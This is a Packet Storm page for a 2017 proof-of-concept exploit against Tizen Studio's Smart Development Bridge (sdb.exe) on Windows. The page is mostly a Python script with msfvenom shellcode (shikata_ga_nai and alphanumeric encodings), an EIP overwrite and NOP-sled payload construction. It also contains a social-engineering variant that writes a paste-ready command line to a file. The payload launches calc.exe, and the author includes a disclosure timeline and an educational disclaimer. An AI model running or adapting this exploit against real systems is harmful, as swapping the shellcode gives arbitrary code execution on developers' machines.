Exploit the possiblities

Tizen Studio 1.3 Smart Development Bridge Buffer Overflow

Tizen Studio 1.3 Smart Development Bridge Buffer Overflow
Posted Oct 27, 2017
Authored by Marcin Kopec

Tizen Studio version 1.3 Smart Development Bridge versions prior to 2.3.2 buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
MD5 | e22467b2016604b70e379a7ceeb375e7

Tizen Studio 1.3 Smart Development Bridge Buffer Overflow

Change Mirror Download
# Exploit Title: Smart Development Bridge <=2.3.2 (part of Tizen Studio 1.3 Windows x86/x64) - Buffer Overflow PoC
# Date: 22.10.17
# Exploit Author: Marcin Kopec
# Vendor Homepage: https://developer.tizen.org/
# Software Link: https://developer.tizen.org/development/tizen-studio/download#
# Version: 2.3.0, 2.3.2 (some older versions are affected as well)
# Tested on: Microsoft Windows [Version 10.0.16299.19]
# 2.3.2 (sdb.exe can be extracted from Tizen Studio 1.3 for Windows x86/x64 installation package):
# e88de99ee069412b7612d85c00aa62fc sdb.exe
# 2.3.0:
# f9fd3896195900ec604c6f182a411e18 sdb.exe
# The file can be located in "tools" subdirectory after the extraction

# This code has been created for educational purposes only, to raise awareness on software security, and it's harmless
# by intention (the PoC runs calc.exe). Please do not change the code behaviour to malicious

# Vulnerability Discovery History
# 28/Jul/16 - Tizen Project has been informed about the vulnerability (https://bugs.tizen.org/browse/TM-249)
# 28/Jul/16 - Got suggestion from CL to inform Tizen Mobile project
# 29/Jul/16 - Moved the issue to Tizen Mobile project
# - NO RESPONSE -
# 7/Sep/16 - Escalated through Samsung security contact (BZ)
# 14/Nov/16 - Got informed by BZ that HQ is dealing with the issue with no further details
# - NO RESPONSE -
# 02/Oct/17 - Tizen Mobile project has been informed about plans to release PoC on exploit-db
# - NO RESPONSE -
# 22/Oct/17 - The PoC submitted to exploit-db


import struct
import subprocess
import sys

ARGS = " launch A A A A A "


def tech_direct_exec(sdb_path):
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc -e x86/shikata_ga_nai \
# -b '\x00\x20\x0a\x0d\x1b\x0b\x0c' -f python
buf = ""
buf += "\xb8\xb6\x98\xe6\xfa\xdb\xcb\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x30\x31\x43\x13\x83\xeb\xfc\x03\x43\xb9\x7a"
buf += "\x13\x06\x2d\xf8\xdc\xf7\xad\x9d\x55\x12\x9c\x9d\x02"
buf += "\x56\x8e\x2d\x40\x3a\x22\xc5\x04\xaf\xb1\xab\x80\xc0"
buf += "\x72\x01\xf7\xef\x83\x3a\xcb\x6e\x07\x41\x18\x51\x36"
buf += "\x8a\x6d\x90\x7f\xf7\x9c\xc0\x28\x73\x32\xf5\x5d\xc9"
buf += "\x8f\x7e\x2d\xdf\x97\x63\xe5\xde\xb6\x35\x7e\xb9\x18"
buf += "\xb7\x53\xb1\x10\xaf\xb0\xfc\xeb\x44\x02\x8a\xed\x8c"
buf += "\x5b\x73\x41\xf1\x54\x86\x9b\x35\x52\x79\xee\x4f\xa1"
buf += "\x04\xe9\x8b\xd8\xd2\x7c\x08\x7a\x90\x27\xf4\x7b\x75"
buf += "\xb1\x7f\x77\x32\xb5\xd8\x9b\xc5\x1a\x53\xa7\x4e\x9d"
buf += "\xb4\x2e\x14\xba\x10\x6b\xce\xa3\x01\xd1\xa1\xdc\x52"
buf += "\xba\x1e\x79\x18\x56\x4a\xf0\x43\x3c\x8d\x86\xf9\x72"
buf += "\x8d\x98\x01\x22\xe6\xa9\x8a\xad\x71\x36\x59\x8a\x8e"
buf += "\x7c\xc0\xba\x06\xd9\x90\xff\x4a\xda\x4e\xc3\x72\x59"
buf += "\x7b\xbb\x80\x41\x0e\xbe\xcd\xc5\xe2\xb2\x5e\xa0\x04"
buf += "\x61\x5e\xe1\x66\xe4\xcc\x69\x69"

stack_adj = "\x83\xEC\x7F" * 2 # SUB ESP,0x7F - stack adjustment
sc = stack_adj + buf

eip = "\x01\xed\x8b" # 008BED01 - 3 byte EIP overwrite
payload = "B" * 2000 + "\x90" * (2086 - len(sc) - 1) + "\x90" + sc + eip

print "Trying to exploit the binary... "
print "Payload length: " + str(len(payload))
print sdb_path + ARGS + payload

subprocess.Popen([sdb_path, "launch", "A", "A", "A", "A", "A", payload], stdout=subprocess.PIPE)


def tech_social_ascii(sdb_path, jmp_esp_addr):
eip = struct.pack('<L', int(jmp_esp_addr, 0))
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=ESP -f python
buf = ""
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x6b\x4c\x4d\x38\x4e\x62\x77\x70\x63\x30\x35\x50\x71"
buf += "\x70\x6f\x79\x79\x75\x50\x31\x69\x50\x62\x44\x6c\x4b"
buf += "\x32\x70\x34\x70\x6e\x6b\x76\x32\x36\x6c\x6c\x4b\x63"
buf += "\x62\x45\x44\x6e\x6b\x61\x62\x37\x58\x76\x6f\x6f\x47"
buf += "\x70\x4a\x51\x36\x44\x71\x69\x6f\x4c\x6c\x45\x6c\x55"
buf += "\x31\x61\x6c\x36\x62\x54\x6c\x47\x50\x39\x51\x78\x4f"
buf += "\x74\x4d\x67\x71\x69\x57\x68\x62\x6b\x42\x36\x32\x53"
buf += "\x67\x4c\x4b\x61\x42\x52\x30\x6c\x4b\x31\x5a\x67\x4c"
buf += "\x4e\x6b\x32\x6c\x57\x61\x53\x48\x59\x73\x62\x68\x67"
buf += "\x71\x48\x51\x36\x31\x6c\x4b\x31\x49\x47\x50\x35\x51"
buf += "\x38\x53\x6e\x6b\x30\x49\x55\x48\x68\x63\x34\x7a\x31"
buf += "\x59\x4c\x4b\x50\x34\x6c\x4b\x33\x31\x5a\x76\x70\x31"
buf += "\x6b\x4f\x6c\x6c\x79\x51\x78\x4f\x46\x6d\x35\x51\x58"
buf += "\x47\x50\x38\x39\x70\x70\x75\x79\x66\x64\x43\x43\x4d"
buf += "\x4c\x38\x55\x6b\x63\x4d\x61\x34\x70\x75\x6d\x34\x72"
buf += "\x78\x4e\x6b\x61\x48\x45\x74\x47\x71\x78\x53\x72\x46"
buf += "\x6c\x4b\x44\x4c\x62\x6b\x4c\x4b\x51\x48\x35\x4c\x43"
buf += "\x31\x69\x43\x6c\x4b\x67\x74\x4e\x6b\x55\x51\x6e\x30"
buf += "\x6b\x39\x50\x44\x65\x74\x37\x54\x53\x6b\x63\x6b\x73"
buf += "\x51\x72\x79\x71\x4a\x72\x71\x4b\x4f\x59\x70\x43\x6f"
buf += "\x33\x6f\x32\x7a\x4e\x6b\x62\x32\x5a\x4b\x4e\x6d\x51"
buf += "\x4d\x32\x4a\x65\x51\x6e\x6d\x6b\x35\x6e\x52\x55\x50"
buf += "\x73\x30\x63\x30\x46\x30\x30\x68\x55\x61\x4c\x4b\x52"
buf += "\x4f\x4f\x77\x69\x6f\x5a\x75\x4d\x6b\x6c\x30\x6f\x45"
buf += "\x4c\x62\x53\x66\x30\x68\x79\x36\x4a\x35\x4d\x6d\x6f"
buf += "\x6d\x6b\x4f\x39\x45\x75\x6c\x55\x56\x53\x4c\x56\x6a"
buf += "\x6b\x30\x39\x6b\x6b\x50\x64\x35\x76\x65\x4d\x6b\x32"
buf += "\x67\x42\x33\x62\x52\x32\x4f\x71\x7a\x45\x50\x31\x43"
buf += "\x69\x6f\x6e\x35\x61\x73\x31\x71\x52\x4c\x73\x53\x75"
buf += "\x50\x41\x41"

stack_adj = "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A"
stack_adj += "\x2d\x66\x4f\x66\x47\x2d\x4c\x31\x4c\x36\x2d\x67\x39\x6a\x2a\x2d\x57\x57\x57\x57\x50"
stack_adj += "\x50\x5C" + "A" * 4
ascii_nop_sleed = "C" * 70
payload = sdb_path + ARGS + "A" * 4086 + eip + "\x77\x21\x42\x42\x20" + ascii_nop_sleed + stack_adj + buf
print "Now sdb.exe user could be asked to run the following code from cmd line:"
print payload
f = open("sdb_poc.txt", 'w')
f.write(payload)
f.close()
print "The payload has been also saved to sdb_poc.txt file for your convenience"


def bonus_exercise():
print """Can you spot the bug here?

int launch_app(int argc, char** argv)
{
static const char *const SHELL_LAUNCH_CMD = "shell:/usr/bin/sdk_launch_app ";
char full_cmd[4096];
int i;

snprintf(full_cmd, sizeof full_cmd, "%s", SHELL_LAUNCH_CMD);

for (i=1 ; i<argc ; i++) {
strncat(full_cmd, " ", sizeof(full_cmd)-strlen(" ")-1);
strncat(full_cmd, argv[i], sizeof(full_cmd)-strlen(argv[i])-1);
}
}
"""


def usage():
print """Smart Development Bridge <=2.3.2 (part of Tizen Studio 1.3 Windows x86/x64) - Buffer Overflow PoC
by Marcin Kopec <m a r c i n \. k o p e c @ h o t m a i l . c o m>

Demonstrated Exploitation Techniques:
1: Direct execution, 3-byte EIP overwrite, Stack adjustment
2: Payload for social engineering attack, JMP ESP (!mona find -s "\\xff\\xe4" -cp alphanum), Alphanumeric shellcode
3: Bonus exercise - source code analysis

This code has been created for educational purposes only, to raise awareness on software security, and it's harmless
by intention (the PoC runs calc.exe). Please do not change the code behaviour to malicious

Usage: python sdbBOpoc.py [Technique_ID] [Path_to_sdb.exe] [Address_of_JMP_ESP]
Examples: python sdbBOpoc.py 1 C:\Tizen\Tools\sdb.exe
python sdbBOpoc.py 2 C:\Tizen\Tools\sdb.exe 0x76476557
python sdbBOpoc.py 3"""


def main():
if len(sys.argv) > 1:
if int(sys.argv[1]) == 1:
if len(sys.argv) == 3:
tech_direct_exec(sys.argv[2])
if int(sys.argv[1]) == 2:
if len(sys.argv) == 4:
tech_social_ascii(sys.argv[2], sys.argv[3])
if int(sys.argv[1]) == 3:
bonus_exercise()
else:
usage()


if __name__ == '__main__':
main()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close